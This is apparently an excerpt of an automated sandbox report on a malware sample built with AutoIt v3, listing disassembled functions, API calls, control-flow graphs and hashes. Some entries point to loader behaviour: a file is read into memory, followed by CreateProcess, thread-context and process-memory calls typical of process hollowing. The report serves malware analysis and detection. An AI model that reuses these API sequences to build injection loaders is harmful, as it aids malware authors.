                                      • Instruction ID: b6ddf88680ba3cf206e93b70675919b476efecf7280ac203109e3e0a77784ba1
                                      • Opcode Fuzzy Hash: ec61c7703900214da968eccb404616a4f007b771b65654b4de4d319ce879a9a0
                                      • Instruction Fuzzy Hash: 0542DF70608601EFD729CB28C884BAAB7E8FF85304F14852DEA55C7392D770E944CB92
                                      Function 008F05FC Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272COMMONLIBRARYCODE
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 301 8f05fc-8f062c call 8f03d0 304 8f062e-8f0639 call 8df256 301->304 305 8f0647-8f0653 call 8e51b1 301->305 310 8f063b-8f0642 call 8df269 304->310 311 8f066c-8f06b5 call 8f033b 305->311 312 8f0655-8f066a call 8df256 call 8df269 305->312 319 8f091e-8f0924 310->319 321 8f06b7-8f06c0 311->321 322 8f0722-8f072b GetFileType 311->322 312->310 323 8f06f7-8f071d GetLastError call 8df233 321->323 324 8f06c2-8f06c6 321->324 325 8f072d-8f075e GetLastError call 8df233 CloseHandle 322->325 326 8f0774-8f0777 322->326 323->310 324->323 328 8f06c8-8f06f5 call 8f033b 324->328 325->310 340 8f0764-8f076f call 8df269 325->340 331 8f0779-8f077e 326->331 332 8f0780-8f0786 326->332 328->322 328->323 333 8f078a-8f07d8 call 8e50fa 331->333 332->333 334 8f0788 332->334 343 8f07da-8f07e6 call 8f054c 333->343 344 8f07e8-8f080c call 8f00ee 333->344 334->333 340->310 343->344 350 8f0810-8f081a call 8e864e 343->350 351 8f081f-8f0862 344->351 352 8f080e 344->352 350->319 353 8f0864-8f0868 351->353 354 8f0883-8f0891 351->354 352->350 353->354 356 8f086a-8f087e 353->356 357 8f091c 354->357 358 8f0897-8f089b 354->358 356->354 357->319 358->357 360 8f089d-8f08d0 CloseHandle call 8f033b 358->360 363 8f0904-8f0918 360->363 364 8f08d2-8f08fe GetLastError call 8df233 call 8e52c3 360->364 363->357 364->363
                                      APIs
                                        • Part of subcall function 008F033B: CreateFileW.KERNELBASE(00000000,00000000,?,008F06A5,?,?,00000000,?,008F06A5,00000000,0000000C), ref: 008F0358
                                      • GetLastError.KERNEL32 ref: 008F0710
                                      • __dosmaperr.LIBCMT ref: 008F0717
                                      • GetFileType.KERNELBASE(00000000), ref: 008F0723
                                      • GetLastError.KERNEL32 ref: 008F072D
                                      • __dosmaperr.LIBCMT ref: 008F0736
                                      • CloseHandle.KERNEL32(00000000), ref: 008F0756
                                      • CloseHandle.KERNEL32(?), ref: 008F08A0
                                      • GetLastError.KERNEL32 ref: 008F08D2
                                      • __dosmaperr.LIBCMT ref: 008F08D9
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
                                      • String ID: H
                                      • API String ID: 4237864984-2852464175
                                      • Opcode ID: 803063eecdc72e3234ac1c99d8b1062129e2f84cc863fc8fda2767ba7fa1582f
                                      • Instruction ID: fc5914059dd668e38391136dce818ba3d5a536c092078ef58ecea7ac83d35b03
                                      • Opcode Fuzzy Hash: 803063eecdc72e3234ac1c99d8b1062129e2f84cc863fc8fda2767ba7fa1582f
                                      • Instruction Fuzzy Hash: 6BA12332A141488FDF18AF78D851BBE7BA0FB4A324F140159FA11DF392DA319912DF92
                                      Function 008B533E Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201registryCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      APIs
                                        • Part of subcall function 008B58E5: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00981418,?,008B48AA,?,?,?,00000000), ref: 008B5903
                                        • Part of subcall function 008B4D82: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 008B4DA4
                                      • RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 008B545B
                                      • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 008F3EEC
                                      • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 008F3F2D
                                      • RegCloseKey.ADVAPI32(?), ref: 008F3F6F
                                      • _wcslen.LIBCMT ref: 008F3FD6
                                      • _wcslen.LIBCMT ref: 008F3FE5
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: NameQueryValue_wcslen$CloseFileFullModuleOpenPath
                                      • String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
                                      • API String ID: 98802146-2727554177
                                      • Opcode ID: 69e7745455f567b8c20ddfed0639b01714c81a31b379f092097e717ad694b7b5
                                      • Instruction ID: 8e76a323c4e6f5bc426fa69470b091fdd1fa86fb7ea518054fdea08e15e35aec
                                      • Opcode Fuzzy Hash: 69e7745455f567b8c20ddfed0639b01714c81a31b379f092097e717ad694b7b5
                                      • Instruction Fuzzy Hash: BC718B715193009EC314EF69DCA19ABBBE8FF95B40F40082EF645D32A1EB749A48DB52
                                      Function 008B45AE Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63windowregistryCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      APIs
                                      • GetSysColorBrush.USER32(0000000F), ref: 008B45B9
                                      • LoadCursorW.USER32(00000000,00007F00), ref: 008B45C8
                                      • LoadIconW.USER32(00000063), ref: 008B45DE
                                      • LoadIconW.USER32(000000A4), ref: 008B45F0
                                      • LoadIconW.USER32(000000A2), ref: 008B4602
                                      • LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 008B461A
                                      • RegisterClassExW.USER32(?), ref: 008B466B
                                        • Part of subcall function 008B46FF: GetSysColorBrush.USER32(0000000F), ref: 008B4732
                                        • Part of subcall function 008B46FF: RegisterClassExW.USER32(00000030), ref: 008B475C
                                        • Part of subcall function 008B46FF: RegisterClipboardFormatW.USER32(TaskbarCreated), ref: 008B476D
                                        • Part of subcall function 008B46FF: LoadIconW.USER32(000000A9), ref: 008B47B0
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Load$Icon$Register$BrushClassColor$ClipboardCursorFormatImage
                                      • String ID: #$0$AutoIt v3
                                      • API String ID: 2880975755-4155596026
                                      • Opcode ID: 87a996153fb9ec787d45e59733d366e990fa377383b52691be732e23d97da3ee
                                      • Instruction ID: 9b2c233384cace46e09d07f43b104689f21d9a2f7f94b9371722f63f078f2f2e
                                      • Opcode Fuzzy Hash: 87a996153fb9ec787d45e59733d366e990fa377383b52691be732e23d97da3ee
                                      • Instruction Fuzzy Hash: A421E8B4E29318AFDB109FA5EC55AEA7FB9FB48B50F00401BE600A67A0D7B54541EF90
                                      Function 008B46FF Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 53registrywindowclipboardCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      APIs
                                      • GetSysColorBrush.USER32(0000000F), ref: 008B4732
                                      • RegisterClassExW.USER32(00000030), ref: 008B475C
                                      • RegisterClipboardFormatW.USER32(TaskbarCreated), ref: 008B476D
                                      • LoadIconW.USER32(000000A9), ref: 008B47B0
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Register$BrushClassClipboardColorFormatIconLoad
                                      • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                      • API String ID: 975902462-1005189915
                                      • Opcode ID: c3f75ee2cd11a20ca6dd15415640aa7e3897dca22b4c0f50eab9cb01a01ff17c
                                      • Instruction ID: ab646b7f7d1b56dc090aab5e4bc99f132c1a6cc09102250ea859bc5f49bb8d58
                                      • Opcode Fuzzy Hash: c3f75ee2cd11a20ca6dd15415640aa7e3897dca22b4c0f50eab9cb01a01ff17c
                                      • Instruction Fuzzy Hash: 9821F4B5926308AFDB40DFA4EC49BDDBBB8FB09704F00411AF611A63A0D7B14645EF90
                                      Function 00BE2540 Relevance: 10.7, APIs: 7, Instructions: 239fileCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 568 be2540-be25ee call bdff60 571 be25f5-be261b call be3450 CreateFileW 568->571 574 be261d 571->574 575 be2622-be2632 571->575 576 be276d-be2771 574->576 583 be2639-be2653 VirtualAlloc 575->583 584 be2634 575->584 577 be27b3-be27b6 576->577 578 be2773-be2777 576->578 580 be27b9-be27c0 577->580 581 be2779-be277c 578->581 582 be2783-be2787 578->582 587 be2815-be282a 580->587 588 be27c2-be27cd 580->588 581->582 589 be2789-be2793 582->589 590 be2797-be279b 582->590 585 be265a-be2671 ReadFile 583->585 586 be2655 583->586 584->576 591 be2678-be26b8 VirtualAlloc 585->591 592 be2673 585->592 586->576 595 be282c-be2837 VirtualFree 587->595 596 be283a-be2842 587->596 593 be27cf 588->593 594 be27d1-be27dd 588->594 589->590 597 be279d-be27a7 590->597 598 be27ab 590->598 599 be26bf-be26da call be36a0 591->599 600 be26ba 591->600 592->576 593->587 601 be27df-be27ef 594->601 602 be27f1-be27fd 594->602 595->596 597->598 598->577 608 be26e5-be26ef 599->608 600->576 604 be2813 601->604 605 be27ff-be2808 602->605 606 be280a-be2810 602->606 604->580 605->604 606->604 609 be2722-be2736 call be34b0 608->609 610 be26f1-be2720 call be36a0 608->610 615 be273a-be273e 609->615 616 be2738 609->616 610->608 618 be274a-be274e 615->618 619 be2740-be2744 CloseHandle 615->619 616->576 620 be275e-be2767 618->620 621 be2750-be275b VirtualFree 618->621 619->618 620->571 620->576 621->620
                                      APIs
                                      • CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 00BE2611
                                      • VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00BE2837
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1741246029.0000000000BDF000.00000040.00000020.00020000.00000000.sdmp, Offset: 00BDF000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_bdf000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: CreateFileFreeVirtual
                                      • String ID:
                                      • API String ID: 204039940-0
                                      • Opcode ID: 014c9b5c74d83c0a726ef6016946af978a068631e2f3efa1e9065a42f07dad7c
                                      • Instruction ID: 94bc6cc929c5cbb7b3023c18e191e01f8a7813d4089dab940c466b5c30969b6d
                                      • Opcode Fuzzy Hash: 014c9b5c74d83c0a726ef6016946af978a068631e2f3efa1e9065a42f07dad7c
                                      • Instruction Fuzzy Hash: 4AA10674E00249EBDB14CFA5C994BEEBBB9FF48704F208199E501BB280D7759E81DB94
                                      Function 008B468E Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 632 8b468e-8b46fe CreateWindowExW * 2 ShowWindow * 2
                                      APIs
                                      • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 008B46BC
                                      • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 008B46DD
                                      • ShowWindow.USER32(00000000,?,?,?,?,?,?,008B36D8,?), ref: 008B46F1
                                      • ShowWindow.USER32(00000000,?,?,?,?,?,?,008B36D8,?), ref: 008B46FA
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Window$CreateShow
                                      • String ID: AutoIt v3$edit
                                      • API String ID: 1584632944-3779509399
                                      • Opcode ID: 2de81ed11a4d115f9d7fadc7f19a39887f50003f3161b33d2ee0c8e3553602ac
                                      • Instruction ID: 5dec65b15b1d139eeaee363e2e68172cdd506547efc44c2f84c4e2a232f36e16
                                      • Opcode Fuzzy Hash: 2de81ed11a4d115f9d7fadc7f19a39887f50003f3161b33d2ee0c8e3553602ac
                                      • Instruction Fuzzy Hash: E5F0DAB56653907EEB7117176C08EB72EBDD7CBF50B00005BF904A2660D6651852EBB0
                                      Function 00BE2310 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 144fileCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 747 be2310-be2437 call bdff60 call be2200 CreateFileW 754 be243e-be244e 747->754 755 be2439 747->755 758 be2455-be246f VirtualAlloc 754->758 759 be2450 754->759 756 be24ee-be24f3 755->756 760 be2473-be248a ReadFile 758->760 761 be2471 758->761 759->756 762 be248e-be24c8 call be2240 call be1200 760->762 763 be248c 760->763 761->756 768 be24ca-be24df call be2290 762->768 769 be24e4-be24ec ExitProcess 762->769 763->756 768->769 769->756
                                      APIs
                                        • Part of subcall function 00BE2200: Sleep.KERNELBASE(000001F4), ref: 00BE2211
                                      • CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 00BE242D
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1741246029.0000000000BDF000.00000040.00000020.00020000.00000000.sdmp, Offset: 00BDF000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_bdf000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: CreateFileSleep
                                      • String ID: L11DRWWWKTW1GVOVRTYCSHLB
                                      • API String ID: 2694422964-2813311588
                                      • Opcode ID: 5395aea203ef1f527daa6701596cad38cc97b24651e629131fcf3d9949657617
                                      • Instruction ID: 80dc1c65ac3a8630395b996c68fd5d3e3b38f037e75de4f33b1217650b929be8
                                      • Opcode Fuzzy Hash: 5395aea203ef1f527daa6701596cad38cc97b24651e629131fcf3d9949657617
                                      • Instruction Fuzzy Hash: CE518330D04289DBEF11D7A4C848BEEBBB9AF15304F0441D9E258BB2C1D7B91B48CBA5
                                      Function 00922865 Relevance: 7.8, APIs: 5, Instructions: 313fileCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      APIs
                                      • DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00922B23
                                      • DeleteFileW.KERNEL32(?), ref: 00922BA5
                                      • CopyFileW.KERNELBASE(?,?,00000000,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00922BBB
                                      • DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00922BCC
                                      • DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00922BDE
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: File$Delete$Copy
                                      • String ID:
                                      • API String ID: 3226157194-0
                                      • Opcode ID: c08f9de15d4b697bcca1f0d1da0665b2a8a9834a74a04468f6730e8348e8124a
                                      • Instruction ID: 895da24825f1a95809c983a2eb95461e5716b56b9e7cf64b7a7f29c8bef725fb
                                      • Opcode Fuzzy Hash: c08f9de15d4b697bcca1f0d1da0665b2a8a9834a74a04468f6730e8348e8124a
                                      • Instruction Fuzzy Hash: AEB161B1900229BBDF15EFA4DC85EDEB77DEF49310F1040A6F609E6245EA34AA44CB61
                                      Function 009F46A0 Relevance: 7.7, APIs: 5, Instructions: 206librarymemoryloaderCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 877 9f46a0-9f46ad 878 9f46ba-9f46bf 877->878 879 9f46c1 878->879 880 9f46c3 879->880 881 9f46b0-9f46b5 879->881 883 9f46c8-9f46ca 880->883 882 9f46b6-9f46b8 881->882 882->878 882->879 884 9f46cc-9f46d1 883->884 885 9f46d3-9f46d7 883->885 884->885 886 9f46d9 885->886 887 9f46e4-9f46e7 885->887 888 9f46db-9f46e2 886->888 889 9f4703-9f4708 886->889 890 9f46e9-9f46ee 887->890 891 9f46f0-9f46f2 887->891 888->887 888->889 892 9f471b-9f471d 889->892 893 9f470a-9f4713 889->893 890->891 891->883 896 9f471f-9f4724 892->896 897 9f4726 892->897 894 9f478a-9f478d 893->894 895 9f4715-9f4719 893->895 898 9f4792-9f4795 894->898 895->897 896->897 899 9f4728-9f472b 897->899 900 9f46f4-9f46f6 897->900 903 9f4797-9f4799 898->903 904 9f472d-9f4732 899->904 905 9f4734 899->905 901 9f46ff-9f4701 900->901 902 9f46f8-9f46fd 900->902 907 9f4755-9f4764 901->907 902->901 903->898 908 9f479b-9f479e 903->908 904->905 905->900 906 9f4736-9f4738 905->906 910 9f473a-9f473f 906->910 911 9f4741-9f4745 906->911 912 9f4766-9f476d 907->912 913 9f4774-9f4781 907->913 908->898 909 9f47a0-9f47bc 908->909 909->903 914 9f47be 909->914 910->911 911->906 915 9f4747 911->915 912->912 916 9f476f 912->916 913->913 917 9f4783-9f4785 913->917 918 9f47c4-9f47c8 914->918 919 9f4749-9f4750 915->919 920 9f4752 915->920 916->882 917->882 921 9f480f-9f4812 918->921 922 9f47ca-9f47e0 LoadLibraryA 918->922 919->906 919->920 920->907 924 9f4815-9f481c 921->924 923 9f47e1-9f47e6 922->923 923->918 925 9f47e8-9f47ea 923->925 926 9f481e-9f4820 924->926 927 9f4840-9f4870 VirtualProtect * 2 924->927 929 9f47ec-9f47f2 925->929 930 9f47f3-9f4800 GetProcAddress 925->930 931 9f4833-9f483e 926->931 932 9f4822-9f4831 926->932 928 9f4874-9f4878 927->928 928->928 933 9f487a 928->933 929->930 934 9f4809 ExitProcess 930->934 935 9f4802-9f4807 930->935 931->932 932->924 935->923
                                      APIs
                                      • LoadLibraryA.KERNEL32(?), ref: 009F47DA
                                      • GetProcAddress.KERNEL32(?,009EDFF9), ref: 009F47F8
                                      • ExitProcess.KERNEL32(?,009EDFF9), ref: 009F4809
                                      • VirtualProtect.KERNELBASE(008B0000,00001000,00000004,?,00000000), ref: 009F4857
                                      • VirtualProtect.KERNELBASE(008B0000,00001000), ref: 009F486C
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ProtectVirtual$AddressExitLibraryLoadProcProcess
                                      • String ID:
                                      • API String ID: 1996367037-0
                                      • Opcode ID: fc6d8e5e53b647e322cda81caf8e0961e45c26c3e760466fa9c0d5f34292436a
                                      • Instruction ID: c7db0312a099393125b4205cbb08c939bee6a7d9b7871f854a6f7238f437cbba
                                      • Opcode Fuzzy Hash: fc6d8e5e53b647e322cda81caf8e0961e45c26c3e760466fa9c0d5f34292436a
                                      • Instruction Fuzzy Hash: C6512A72A5535A4BD720AEB8DCC06727B98EB533707280739C7E5C73C5E7A459058B60
                                      Function 008B59A7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58registryCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 936 8b59a7-8b59b2 937 8b5a24-8b5a26 936->937 938 8b59b4-8b59b9 936->938 939 8b5a17-8b5a1a 937->939 938->937 940 8b59bb-8b59d3 RegOpenKeyExW 938->940 940->937 941 8b59d5-8b59f4 RegQueryValueExW 940->941 942 8b5a0b-8b5a16 RegCloseKey 941->942 943 8b59f6-8b5a01 941->943 942->939 944 8b5a1b-8b5a22 943->944 945 8b5a03-8b5a05 943->945 946 8b5a09 944->946 945->946 946->942
                                      APIs
                                      • RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,008B599A,SwapMouseButtons,00000004,?), ref: 008B59CB
                                      • RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,008B599A,SwapMouseButtons,00000004,?), ref: 008B59EC
                                      • RegCloseKey.KERNELBASE(00000000,?,?,?,80000001,80000001,?,008B599A,SwapMouseButtons,00000004,?), ref: 008B5A0E
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: CloseOpenQueryValue
                                      • String ID: Control Panel\Mouse
                                      • API String ID: 3677997916-824357125
                                      • Opcode ID: 91408468c246a614be1f3ea2f8b6761a406b18ee6c2c13bd1914c29f524c7bfa
                                      • Instruction ID: 7bb1dc0866ac05efd08bf2639e212c5f26f8c8e0257923773cfd793d4324e099
                                      • Opcode Fuzzy Hash: 91408468c246a614be1f3ea2f8b6761a406b18ee6c2c13bd1914c29f524c7bfa
                                      • Instruction Fuzzy Hash: D71148B5521618FEDF208F64D885EEFBBACFF01744B109619E901E7210E6319E40AB60
                                      Function 00BE1200 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CreateProcessW.KERNELBASE(?,00000000), ref: 00BE19BB
                                      • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 00BE1A51
                                      • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 00BE1A73
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1741246029.0000000000BDF000.00000040.00000020.00020000.00000000.sdmp, Offset: 00BDF000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_bdf000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Process$ContextCreateMemoryReadThreadWow64
                                      • String ID:
                                      • API String ID: 2438371351-0
                                      • Opcode ID: cc658a0e6010fd3573e63fe9dffc1f366d2843c5c23e1a249a06af30add5367b
                                      • Instruction ID: e23bd2bcbc506ee895d67213d9bea577ea484b53f87a5253ec52420c9a5adb25
                                      • Opcode Fuzzy Hash: cc658a0e6010fd3573e63fe9dffc1f366d2843c5c23e1a249a06af30add5367b
                                      • Instruction Fuzzy Hash: AB62FB30A142589BEB24CFA5CC50BDEB376EF58300F2095A9D10DEB394E7759E81CB59
